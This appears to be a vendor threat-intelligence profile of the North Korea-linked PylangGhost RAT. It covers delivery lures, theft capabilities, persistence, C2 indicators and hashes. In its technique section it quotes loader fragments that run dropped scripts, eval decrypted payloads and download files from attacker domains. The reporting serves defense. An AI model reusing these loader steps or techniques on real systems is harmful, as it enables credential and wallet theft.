PylangGhost
PylangGhost is a Python-based remote access trojan (RAT) associated with North Korean threat activity, most consistently attributed in the provided reporting to FAMOUS CHOLLIMA and also linked to the broader Contagious Interview / DeceptiveDevelopment ecosystem. It is described as a Python counterpart to GolangGhost, with both families sharing an identical or near-identical command structure and overlapping functionality. Reporting states that PylangGhost is primarily Windows-focused, while related GolangGhost variants emphasize broader multi-platform coverage; other reporting also describes PylangGhost and GolangGhost together as related multi-platform RATs.
Observed delivery vectors in the content include fake job interview and recruiter lures, ClickFix-style social engineering, malicious GitHub or coding-test projects, trojanized Node.js applications, and malicious npm packages. Public reporting cited here says PylangGhost was delivered through fake recruitment sites impersonating companies such as Coinbase and Robinhood, where victims were instructed to run PowerShell or curl commands that downloaded a ZIP archive. Another infection chain used a Visual Basic Script to launch a Python payload after a fake NVIDIA-related update lure. The malware was also observed on the npm registry for the first time in malicious packages including @jaime9008/math-service and react-refresh-update, and in a separate cluster of five npm packages abusing Cloudflare Pages and Workers: es6-runtimejs, winston-js-express, ether-bn.js, node-env-detector, and unique-string-64. Those npm campaigns used staged JavaScript loaders, environment profiling, sandbox checks, encrypted payloads, and runtime execution to evade detection.
Capabilities directly described in the content include remote system control, file manipulation, command execution, credential theft, cookie theft, and theft of browser extension data. Multiple reports state that PylangGhost steals Chrome credentials and cookies and can enumerate installed Chrome extension IDs. It is specifically described as engineered to defeat Google Chrome app-bound credential protection and to steal stored passwords and authentication cookies. Cisco Talos reporting cited in the content says it steals credentials from more than 80 browser extensions, including cryptocurrency wallets such as MetaMask, Phantom, and TronLink, and password managers such as 1Password and NordPass. Additional reporting says the GolangGhost/PylangGhost stealer module can gather Chrome extension data and includes functionality described as injecting a malicious MetaMask extension by modifying Chrome Secure Preferences and killing Chrome processes.
Persistence and execution details in the content include use of a VBS launcher and Windows registry Run-key persistence. One described package delivered a ZIP containing six Python modules, a VBS script, and a renamed Python interpreter disguised as nvidia.py; the VBS unpacked lib.zip and launched the RAT. Other reporting states that on Windows, PylangGhost/GolangGhost persistence uses HKCU\Software\Microsoft\Windows\CurrentVersion\Run to launch a VBS loader via wscript.exe. Runtime state was reported as stored in temporary-directory files such as .store and .host.
Command-and-control communications are described as HTTP POST based, with RC4-encrypted packets and MD5 checksums in some reporting. Observed user agents include python-requests. The content identifies several campaign-specific infrastructure elements and indicators. In the npm campaign involving @jaime9008/math-service and react-refresh-update, the loader used the hardcoded XOR key fdfdfdfdf3rykyjjgfkwi, the hardcoded campaign identifier ML2J, and infrastructure malicanbur[.]pro with C2 173.211.46.22:8080; the Windows payload hash was 0be2375362227f846c56c4de2db4d3113e197f0c605c297a7e0e0c154e94464e. In the Cloudflare Pages/Workers campaign, staged infrastructure included keo.pages.dev, dpw.jr12012025z.workers.dev, and deoft.org; the Windows payload SHA-256 was 9ec622624f5f07c5d86e6048f2710de1e9c5ac7c6a6fad4fcb31121bb67c0239, deoft.org resolved to 187.77.111.137, and config.py contained C2 address 187.127.248.20. Another sample associated with the recruitment-lure campaign is noted with hash c2137cd870de0af6662f56c97d27b86004f47b866ab27190a97bde7518a9ac1b.
Targeting described in the content centers on software developers, job seekers, cryptocurrency and blockchain professionals, Web3 personnel, and finance and technology sectors, with several reports highlighting victims in India and broader software supply-chain risk through compromised dependencies and CI/CD environments. The malware is repeatedly linked with DPRK financially motivated operations and with malware families including BeaverTail, InvisibleFerret, OtterCookie, FlexibleFerret, and GolangGhost.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Groups observed using it
3 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
"North Korea's abuse of Cloudflare Workers and Pages" published by Kmsec. #FamousChollima, #NPM, #PylangGhost, #DPRK, #CTI
A cluster of 5 npm packages abuse Cloudflare infrastructure (Pages/Workers) to deliver PylangGhost RAT ... Stage 3 (PylangGhost) ... As my gut told me, this is a PylangGhost infection chain.
First instance of PylangGhost RAT observed on npm ... PyLangGhost RAT: Rising Stealer from Lazarus Group Striking Finance and Technology
Techniques & procedures
18 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
3 techniquesA cluster of 5 npm packages abuse Cloudflare infrastructure (Pages/Workers) to deliver PylangGhost RAT... The intended workflow is for ether-bn.js to be installed as a dependency to a coding project, which then adds the malicious sub-dependencies.
"distribute malware to unsuspecting job seekers in the software development industry"; "pretext of a recruitment process or technical assignment"
Multiple titles reference 'Contagious Interview,' 'fake developer job interviews,' 'LinkedIn recruiting scam,' 'Recruitment Emails,' and 'Job Offer' lures used to deliver BeaverTail, InvisibleFerret, OtterCookie, PylangGhost, and GolangGhost.
Execution
7 techniquesSeveral titles explicitly mention 'VS Code Tasks Abuse,' 'Tracking the VS Code Tasks Infection Vector,' and 'Evolution of VS Code and Cursor Tasks Infection Chains.'
execSync("chmod +x /var/tmp/camDriver.sh && nohup bash /var/tmp/camDriver.sh >/dev/null 2>&1 &"
const vbsPath = path.join(extractDir, "update.vbs")... const vbsProcess = spawn("wscript.exe", [vbsPath], runOptions);
The infection chain continues from JavaScript to wscript and eventually Python... wscript launching Python (PylangGhost).
The decrypted payload in full... This is what’s invoked by globalThis.eval... evaluates remote content held at keo[.]pages[.]dev/output-2.
The intended workflow is for ether-bn.js to be installed as a dependency to a coding project... infection happens at runtime as opposed to installation.
Once a developer installs an affected package, a JavaScript loader embedded in specific files runs automatically.
Persistence
1 techniquePrivilege Escalation
1 techniqueStealth
4 techniquesNovel obfuscation techniques, encryption, runtime logic gates, and device fingerprinting are used to hinder detection... return globalThis.eval(payload).
The intended workflow is for ether-bn.js to be installed as a dependency to a coding project... infection happens at runtime as opposed to installation.
This loader follows a decode-decrypt-evaluate sequence and uses a hardcoded XOR key — the string “fdfdfdfdf3rykyjjgfkwi” — to unlock the hidden payload before it executes in memory.
Discovery
3 techniquesIt checks CPU, memory, and other attributes... function getWinSerial()... getMacSerial()... getLinuxSerial()... payload = { name: serial... social: process.platform... }
The RAT is also capable of enumerating Chrome extension IDs installed on the compromised machine, giving attackers a direct path to browser-stored credentials and sensitive personal data.
Command and Control
3 techniquesThe attacker’s command-and-control (C2) infrastructure relies on the domain malicanbur[.]pro, with a C2 IP address of 173.211.46[.]22:8080.
A cluster of 5 npm packages abuse Cloudflare infrastructure (Pages/Workers)... The encrypted string... decrypts to hxxps://dpw.jr12012025z.workers[.]dev , another piece of Cloudflare infrastructure.
const url = "https://deoft.org/pver-" + uniqueId + ".patch"... await downloadFile(url, archivePath)... downloadFile(url, scriptPath).
IOCs tracked for this family
22 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
17 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
"North Korea's abuse of Cloudflare Workers and Pages" published by Kmsec. #FamousChollima, #NPM, #PylangGhost, #DPRK, #CTI
Remote access trojan delivered through malicious npm packages and Cloudflare Pages/Workers infrastructure. The chain fingerprints the host, fetches staged JavaScript, contacts attacker-controlled infrastructure to obtain a victim-specific path, then downloads platform-specific payloads. The final bundle includes Windows, Linux, and macOS infection paths and uses C2 at 187.127.248.20.
Post lazarusholic lazarusholic.bsky.social did:plc:iqisolaecmif2zmpfbmsq2te "NICKEL ALLEY strategy: Fake it ‘til you make it" published by Sophos. #NickelAlley, #ClickFix, #ContagiousInterview, #PylangGhost, #DPRK, #CTI
A Python variant of FlexibleFerret/WeaselStore propagated via malicious npm packages and also deployed through newer VS Code project chains.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.